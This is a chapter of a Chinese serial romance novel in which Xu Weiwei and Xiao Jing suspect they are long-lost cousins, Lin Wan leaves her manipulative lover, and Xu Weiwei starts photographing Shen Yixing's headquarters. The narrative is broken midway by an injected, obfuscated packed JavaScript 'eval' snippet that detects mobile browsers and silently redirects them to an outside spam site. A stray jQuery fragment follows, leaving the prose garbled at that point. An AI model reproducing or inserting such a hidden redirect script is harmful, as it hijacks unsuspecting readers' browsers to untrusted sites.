萧景说出“阿生”两个字的时候，窗外的雨刚好停了。
许薇薇坐在病床边，手里还攥着萧景的手。两个人的手心都是汗，分不清是谁的。
“你说你原来的名字叫阿生。”许薇薇的声音很轻，像怕惊着什么，“你还记得什么？关于你爹的事，关于你小时候的事，什么都行。你慢慢说，我听着。”
萧景沉默了很久。他闭上眼睛，额头上的纱布在灯光下白得刺眼。
“我爹个子不高，瘦瘦的，戴着眼镜。”他的声音低得像从很远的地方飘来，“圆框眼镜，金丝边的。他喜欢穿灰色的长衫，袖口总是磨得发白，但洗得干干净净。”
许薇薇的呼吸急促起来。母亲的信里写过——“你表舅个子不高，戴着眼镜。”
“他说话是苏州口音。”萧景继续说，“‘阿生’两个字，从他嘴里叫出来，尾音往上翘，跟汉口人叫法不一样。”
“他说的是苏州话？”许薇薇的声音有些发抖。
“对。我记得是苏州话。那时候小，不太懂，但能听出来，跟码头上的口音不一样。”
萧景顿了顿，像是在回忆里打捞更多的碎片。
“我记得他带我去过天津。坐轮船去的，江上的风很大，他把我搂在怀里，怕我掉下去。到了天津，他带我去吃糖葫芦。山楂的，外面裹着糖浆，咬一口，酸酸甜甜的。那种滋味苏州没有。”
“还有呢？”
“还有——”萧景皱起眉头，额头的伤口牵动着他的表情，“就这些了。后来，我爹病了，躺在床上，咳得很厉害。有人来敲门，他说都是讨债的，让我不要出声。我躲在床底下，听见有人在翻东西，砸东西，骂娘。然后，一切安静下来。”
“等我从床底下爬出来，我爹已经——”
萧景的声音断了，眼眶发红。
许薇薇攥紧了他的手。
“然后呢？”
“然后我上了一艘船。我爹生前跟一个船老大说好的，让他带我去汉口投亲。船老大姓陈，我管他叫陈伯伯。船到了汉口，陈伯伯把我放在码头上，让我等着，他去叫人来接我。我等着，等了一天一夜，他没有回来。”
“后来呢？”
“后来我就一个人在码头上流浪。饿了捡东西吃，渴了喝江水。浑身上下全是伤，被人打的，被狗咬的，也有自己摔的。我发烧了，烧的温度很高，整个人晕晕乎乎的，口鼻好像都要冒烟似的。一个穿长衫的中年男人路过码头，看见我蹲在角落里，浑身是伤，奄奄一息。他把我抱起来，带回了家。”
“那个人就是我养父。萧震。”
病房里安静了很久。窗外又有雨丝飘进来，打在窗台上，发出细碎的声响。
许薇薇的眼泪顺着脸颊往下淌，滴在被单上，洇开一小片深色的水渍。
“还记得你爹叫什么名字？”她问。
萧景摇了摇头。
“不记得。自从高烧过以后，很多事情，我都不记得了。我养父说，我烧坏了脑子。”
许薇薇从手包里拿出母亲那封遗书，展开，放在萧景面前。
“这是我妈留给我的信。你看看。”
萧景接过信，一行一行地往下看，信纸在他手里沙沙作响。
“你表舅萧守业。”他抬起头，看着许薇薇，“你表舅的儿子，叫阿生。”
“对。”
“我是从苏州来的。”
“对。”
“你表舅说的苏州话。”
“对。”
“表哥叫阿生。”
“对。”
两个人都沉默了。答案已经呼之欲出，但谁都不敢先说出来。
“萧堂主。”许薇薇终于开口，“你是不是觉得，你就是我表哥？”
萧景低下头，看着自己缠着纱布的手指。
“我不知道。我不敢确定。万一不是呢？万一我的记忆出了差错呢？万一汉口有无数个叫阿生的孤儿呢？我不想……我不想给你虚假的希望。”
“我也不想。”许薇薇的声音很轻，“但我们可以一起查。查清楚了，再做决定。”
萧景抬起头，看着她的眼睛。那双凤眼里有水光，但更多的是坚定。
“好。一起查。”
许薇薇伸出手。
“在查清楚之前，你就是我表哥。你愿意吗？我实在是太孤独了。”
萧景愣了一下，眼眶红了。
他伸出手，握住了许薇薇的手。
“愿意。在查清楚之前，我会像表哥一样照顾你，保护你。谁要是敢欺负你，我跟他没完。”
“一言为定？”
“一言为定。”
两个人的手握在一起，像两棵根系早已纠缠在一起的树，终于在地面上也靠在了一起。
窗外的雨停了，云层裂开一道缝，露出一小块淡蓝色的天。
***
北平，顾慎之的公馆。
林晚坐在客厅的沙发上，手里端着一杯已经凉透了的茶。她没有喝，只是看着杯中的茶叶慢慢往下沉，像一艘艘沉船。
顾慎之从楼上下来，穿着一件藏青色的西装，领带系得一丝不苟。头发梳得整整齐齐，皮鞋锃亮，看起来像是要去参加什么重要场合。
“你还没换衣服？”他看了一眼林晚身上那件素净的棉布旗袍，皱了皱眉，“我不是说了吗，今晚有个晚宴，国防部的周副部长要来。你穿成这样，怎么见人？”
林晚放下茶杯，抬起头看着他。
“我不去。”
“什么？”
“我说，我不去。”林晚的声音很平静，“你上次说的那件事，我想了很久。我做不到。我也不想做。”
顾慎之的脸色沉了下来。
“只是陪周副部长吃顿饭，跳支舞，不是要你做什么出格的事。有什么做不到的？！”
“只是吃顿饭？跳支舞？”林晚冷笑了一声，“顾慎之，你当我是三岁小孩？周副部长是什么人，你比我清楚。他看上谁，谁就跑不掉。你让我去陪他，不就是想用我换他的支持吗？”
顾慎之走到她面前，居高临下地看着她。
“林晚，你跟着我不是一天两天了。我为你做了多少事，你心里清楚。现在我只需要你帮我做一件事，你都不愿意？”
“翻旧账？那就好好翻一翻！”林晚站起来，底气十足，“你确实为我做了不少，但是因为我对你有用。你需要我替你传递消息，替你联络那些你不好出面联络的人。我同样也帮你做了那么多事，还不够抵销吗？为什么非要让我去陪那个老头子？”
“因为这件事很重要。”顾慎之的声音压得很低，“国防部的预算分配，直接关系到我的升迁。周副部长手里握着审批权，他说一句话，顶我在军需署干十年。你只需要陪他吃顿饭，跳支舞，让他高兴了，我的事就成了。就这么简单。”
“就这么简单？”林晚的声音拔高了，“你让女朋友去陪别的男人，还说得这么轻巧？顾慎之，你到底把我当什么？工具？棋子？”
“我当你是我的女人。”顾慎之伸手去拉她的手，“正因为你是我最信任的人，我才把最重要的事交给你。别人去，我不放心。你是真正的自己人，懂吗？”
林晚甩开他的手。
“你别碰我。恶心！”
顾慎之的手僵在半空中。
“林晚，你别耍小孩子脾气。”
“再说一遍，我没有耍脾气。”林晚转过身，背对着他，“你让我做的事，我不会做。你找别人吧，当我不存在好了。”
“你确定？”
“我确定。”
顾慎之沉默了几秒，忽然笑了。
“行。你不去，我不勉强你。但你要想清楚，你在北平的一切——住的地方，花的钱，用的东西，都是谁给你的。你要是连这点事都不愿意帮我，那我也没必要继续养着你。”
林晚的身体猛地一颤。
她转过身，看着顾慎之。他的脸上还挂着笑，但那笑容冷得像冰。
“你在威胁我？”
“不是威胁。”顾慎之从口袋里掏出一根烟，点上，慢悠悠地吸了一口，“是提醒。林晚，这世上没有免费的午餐。我给了你什么，你心里清楚。现在我需要你回报我，你觉得过分吗？”
林晚盯着他看了几秒，忽然笑了。
“顾慎之，我总算看清你了。”
“看清什么？”
“你跟沈毅行，没什么区别。”林晚拎起沙发上的手包，“你们都以为，对女人好一点，女人就该感恩戴德，就该为你们做任何事。你以为花一点小钱，就可以买下一个女人的身体，让她心甘情愿地为你卖身。你想的可真美！”
顾慎之的笑容终于消失了。
“林晚，你不要冲动。你离开我，在北平能去哪儿？你连个工作都没有——”
“那是我的事。”林晚已经走到了门口，“从今往后，不用你操心了。分手吧！”
林晚拉开门，头也不回地走了出去。
顾慎之站在客厅里，手里的烟烧到了手指，烫了一下，他才回过神来。
他没有追。
门外的走廊里，林晚快步走着，高跟鞋踩在地板上，发出急促的声响。她没有回头，她怕自己一回头，就会心软。
她不能心软。
心软了，她就永远走不出这栋楼了。
林晚回到自己的房间，拉出行李箱，把衣服往里塞。没有多少东西——几件换洗的衣裳，几本书，一本相册，还有一叠她攒下来的钱。
她拉开抽屉，看见那张许薇薇留给她的名片——“时光留影”照相馆，霞飞路，申城。
她拿起名片，看了很久。
然后她拿起桌上的电话，拨了申城的长途。
电话那头响了很多声，终于有人接起来。
“喂？”
“许小姐，是我。林晚。”
“林小姐？”许薇薇的声音带着明显的惊讶，“你怎么这个时候打电话来？出什么事了？”
林晚沉默了几秒，眼泪终于没忍住，掉了下来。
“许小姐，我想去申城找你。你能收留我吗？”
电话那头沉默了一下。
“能。”许薇薇的声音很坚定，“来吧。我在申城等你。”
***
林晚到申城的那天，是个阴天。
许薇薇去火车站接她。林晚从车厢里走出来的时候，穿着一件灰蓝色的薄呢大衣，头发扎成一条低马尾，脸上没有化妆，眼底有淡淡的青色。
她拎着一只皮箱，肩上挎着一个帆布包，看起来不像从北平来的，倒像从哪个乡下地方来的。
“林小姐。”许薇薇迎上去，接过她手里的皮箱，“路上还顺利？”
林晚点了点头，勉强笑了一下。
“顺利。”
两个人走出火车站，叫了一辆黄包车。
许薇薇报了一个地址——不是和平旅馆，是她在法租界新租的一间小公寓。
疫情没结束，霞飞路依旧被封着，生活很不方便。许薇薇就在附近找了一个可以自由进出的地方先住下来。
公寓不大，一室一厅，但收拾得干净。窗台上摆着几盆绿萝，客厅的墙上挂着她自己拍的照片。
“你先住这儿。”许薇薇把林晚的皮箱拎进卧室，“我睡客厅。委屈你了。”
“许小姐，还是我睡客厅吧。你已经帮我够多了。”林晚的眼眶红了，“我住几天就走，找到工作就搬出去。”
“不着急。先安顿下来再说。”
两个人坐下来，许薇薇给她倒了杯茶。
龙井。今年的新茶。陈铭以前隔三差五送的那种。
林晚端起茶杯，抿了一口，眼泪忽然掉了下来。
“你怎么了？”许薇薇连忙递过手帕，“有什么事，你跟我说。”
林晚擦了擦眼泪，深吸一口气。
“我跟顾慎之闹翻了。”
“为什么？”
林晚沉默了几秒，像是在组织语言。
“他要我去陪一个国防部的高官。说白了，就是让我去色诱人家，帮他升官。我不肯，他就威胁我。他说，我在北平的一切都是他给的，我要是不听他的话，他就收回。”
许薇薇攥紧了手里的茶杯。
“然后呢？”
“然后我就走了。我告诉他，我不需要他养。我有手有脚，自己能养活自己。”
许薇薇看着她，忽然笑了。
“林小姐，你比我勇敢。”
“我勇敢什么？”林晚苦笑了一下，“我就是个傻子。跟了他这么多年，到现在才看清他是什么人。”
“看清了就不晚。”许薇薇端起茶杯，抿了一口，“这世上的男人，没几个靠得住的。嘴里说爱你，心里盘算的都是自己的利益。你对他们有用的时候，把你当宝；你没用了，就把你当草。连自己的女人都保护不了，还指望他保护谁？”
林晚看着她，两个女人对视了一眼，同时苦笑了起来。
“你说得对。”林晚放下茶杯，“男人不可靠，爱情也信不过。以后靠自己，谁也不靠。”
“对。靠自己。”
两个女人坐在小小的客厅里，窗外的天灰蒙蒙的，但屋子里暖融融的。茶香和桂花糕的甜香混在一起，在空气里慢慢散开。
“林小姐，你打算在申城做什么？”
“我想找份工作。”林晚说，“我在北平的时候，在报社做过几年。写过稿，也做过编辑。申城的报馆多，应该能找到事做。”
许薇薇的眼睛亮了一下。
“你在报社做过？”
“对。《北平晨报》，做了三年。”
“那你能不能帮我问问，报社要不要摄影师？我在爱丁堡学的就是摄影。只要有活儿干，我不挑。”
林晚想了想。
“可以试试。我认识几家报馆的人，虽然都在北平，但圈子里的人，多少有些联系。”
“那就这么说定了。”许薇薇站起来，“我们一起找工作。”
***
找工作的事，比她们想象的要顺利，也比她们想象的要复杂。
林晚托了几层关系，联系上了《申城晚报》的主编。主编姓房，四十来岁，秃顶，戴着一副黑框眼镜，说话慢条斯理的，但办事很利索。
“林小姐，许小姐，你们的简历我看了。林小姐有报社经验，许小姐有摄影专业背景。我们报社正好缺人，你们要是不嫌弃，下周一来上班。薪资待遇从优。”
“真的？”许薇薇有些不敢相信，她太需要工作了。
因为照相馆无法营业，她最近一段时间都是在吃老本，已经捉襟见肘了。而许大年的遗产信托每月都有不菲的生活费拨入账户，但由于内战的缘故，这些钱只能每六个月领一次，看得到却够不着，十分不方便。
“真的。”房主编推了推眼镜，“不过，有个条件。”
“什么条件？”
房主编看了许薇薇一眼。
“许小姐，你第一份差事，是跟拍司令部的日常。也就是申城警备司令部的日常工作和活动。这是你主要的任务。”
许薇薇的脸色变了。
“司令部的日常？你们又不是司令部的报社！”
房主编沉默了一下，没有直接回答。
“我们报社一直都有接司令部的活儿。你要是愿意，周一就来报到。你要是不愿意，我这边也没办法帮你安排别的。”
办公室里安静了很久。
林晚看了看许薇薇，又看了看房主编。
“许小姐，你要是不方便——”
“方便。”许薇薇打断她，“我答应。没问题的。”
从报社出来的时候，林晚拉住许薇薇的胳膊。
“你疯了？沈毅行就是司令部的头儿。你去了，不是送上门让他纠缠吗？他是个武夫、流氓、侩子手！”
“我知道。”许薇薇的声音很平静，“但我需要这份工作。再说了，我又不犯法，沈毅行还能把我吃了？”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629187|206302||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
“他什么事做不出来？你忘了上次——”
“我没忘。”许薇薇叹了口气，“但我不会因为怕他，就不工作了。他让我拍，我就去拍，拍完就走。他能把我怎么样？”
林晚张了张嘴，不知道说什么好。
“你真不怕他？”
“怕。”许薇薇苦笑了一下，“但也要先活下去啊。”
***
周一早晨，许薇薇背着相机，站在司令部门口。
门还是那扇门，石狮子还是那两只石狮子。台阶上站着四个持枪的卫兵，一动不动，像四尊雕塑。
她深吸一口气，走了进去。
陈铭在门厅里等她。
“许小姐，您来了。”
“陈副官，好久不见。”许薇薇的语气很淡，“我的拍摄任务，谁来对接？”
“少帅。他在办公室里等您。”
许薇薇的心跳快了一拍，但脸上没有表情。
“那就去吧。”
她跟着陈铭上了楼，走到那扇熟悉的门前。陈铭敲了敲门，里面传来一声“进来”。
许薇薇推门进去。
沈毅行坐在办公桌后面，手里拿着一份文件，正在看。
他今天穿了一身灰绿色的军便装，领口敞开，袖子卷到小臂，露出一截精壮的手腕。人比之前瘦了，但精神还好，眼底下没有以前那么重的青色。
看见许薇薇进来，他放下手里的文件，靠在椅背上。
“来了？”
“来了。”许薇薇把相机挎在肩上，“今天的拍摄计划，陈副官跟我说了。拍司令部的日常办公、官兵训练、还有下午的军事会议。你忙你的，我拍我的，互不打扰。”
沈毅行嘴角微微动了一下。
“行，你拍你的。当我不存在好了。”
许薇薇没有再看他，转身走出办公室，开始在走廊里取景。
她拍得很认真。走廊里的光影、窗台上的灰尘、办公室门口站岗的卫兵、会议室里摆放整齐的椅子。拍了很多东西，但镜头始终没有对准沈毅行。
上午拍完，中午在司令部食堂吃饭。
陈铭给她打了一份饭，放在角落的餐桌上。
她刚坐下来，沈毅行就端着餐盘过来了。
“我可以坐这里吗？”
许薇薇抬头看了他一眼。
“不行。我不想跟你坐一起。”
“我不说话。各吃各的。”
沈毅行也不恼，嬉皮笑脸地在她对面坐下来，真的没有说话。
两个人面对面坐着，只隔着一张窄窄的餐桌，筷子碰碗沿的声音都听得一清二楚。
许薇薇吃饭很慢。
但沈毅行吃得更慢。
一口饭嚼半天，一碗汤喝了好久。
他不看她，也不说话，就那么慢吞吞地咀嚼着，像故意拖延时间。
许薇薇终于忍不住了。
“你吃完了吗？”
“快了。”
“那你能不能快一点？你一个军人，吃饭怎么这么慢？”
“为什么要快？你着急走？”
许薇薇撅着嘴皱着眉起身，端走了自己的餐盘。
“我吃完了。你慢慢吃吧。”
沈毅行坐在餐桌旁，看着她气呼呼的背影，嘴角的笑意怎么都压不住。
下午的军事会议，许薇薇在会议室里拍照。
长桌，白墙，窗户关得严严实实。烟雾缭绕，空气混浊，十几个军官坐在桌边，个个面色凝重。
沈毅行坐在主位上，手里拿着一份文件，正在说话。
“北边的局势不太乐观。大总统那边催得紧，南京那边也在施压。我们的部队要随时做好调动的准备——”
他顿了一下，目光扫过在场所有人。
“物资储备呢？军需署那边报上来的数字，够不够撑三个月？”
坐在他对面的一个军官站起来。
“少帅，物资储备目前充足，但运输线路不畅。有几条路被炸了，只能绕道走。时间上要多花半个月。”
“半个月？”沈毅行的声音沉了下去，“战场上，半个月能死多少人？叫工兵连去抢修。三天之内，我要看到那几条路通车。”
“是。”
许薇薇端着相机，站在角落里，镜头对准沈毅行的侧脸。取景框里，他的脸一半明一半暗，表情冷峻而专注，跟她平时看到的那个“缠着她不放”的沈毅行判若两人。
“咔嗒。”
快门声在会议室里格外清脆。
沈毅行转过头，看了她一眼。
目光相撞的瞬间，许薇薇的手指顿了一下，但她没有移开镜头，继续拍。
会议结束后，沈毅行叫住她。
“照片什么时候能洗出来？”
“后天。”
“洗好了，送到我办公室来。”
“我会交给陈副官。”
“送到我办公室来。”沈毅行重复了一遍，“这是司令部的规矩。重要的照片，要由负责人亲自验收。”
许薇薇看着他，他的表情很认真，不像在找借口。
“好吧。”
***
许薇薇回到照相馆——准确地说，是她借用的暗房。
她把胶卷从相机里取出来，走进暗房，关上门。红色的灯光下，一张一张地冲洗照片。
沈毅行的脸从显影液里慢慢浮现出来——先是轮廓，然后是眉眼，然后是表情。
冷峻的，专注的，疲惫的。
她把照片夹在绳子上，一张一张地晾着。
洗到最后一张的时候，她的手顿住了。那张照片是在走廊里拍的。沈毅行站在窗前，背对着镜头，阳光从窗户照进来，把他的影子投在地板上，拉得很长很长。
她盯着那张照片看了很久。
然后把它取下来，压在了一摞照片的最底下。
第三天，许薇薇把照片送到了司令部，把一沓照片放在沈毅行桌上。
“你看看。哪张不能用，我回去重洗。”
沈毅行拿起照片，一张一张地翻。
“拍得不错。”他说，“你把司令部拍得太好了。比我想象的好。”
“你满意就行。”
“满意。”沈毅行放下照片，看着她，“你以后就负责司令部的拍摄任务。每周来两次，有活动的时候提前通知你。”
“我只是暂时代替。等你们找到合适的摄影师——”
“没有其他人。”沈毅行打断她，“只有你合适。”
许薇薇看着他，没有说话。
“你放心，我不会骚扰你。工作是工作，私事是私事。”沈毅行的语气很平静，“你来了，拍完就走。我不拦你。”
许薇薇点了点头。
“好。”
她转身要走。
“许薇薇。”沈毅行忽然叫住她。
她停下来，没有转身。
“什么事？”
“他……萧景……他真是你表哥？陈铭在医院的登记簿上，看到你签的亲属关系是……表哥……”
许薇薇沉默了一会儿。
“能不能不要监视我？现在我和萧景都不确定，只是怀疑他是我失散的表哥。不过我会把他当成亲表哥一样照顾。行了吧？”
沈毅行沉默了几秒。
“行，我知道了。我就问问，不是吃醋。”
许薇薇走出了办公室。
门在身后关上的一刻，她听见身后传来打火机的声音。“咔嗒”一声，火苗窜起来，又灭了。
沈毅行靠在椅背上，把烟点着。
陈铭站在旁边，小心翼翼地说：“少帅，您不是说……不骚扰许小姐吗？”
沈毅行横了他一眼：“老子问一句就叫骚扰？妈的快点滚出去。”
陈铭灰溜溜地走了。
沈毅行坐在椅子上，抽着烟，看着桌上那张许薇薇拍的照片——走廊里，他的背影被阳光拉得很长。他盯着那张照片看了很久。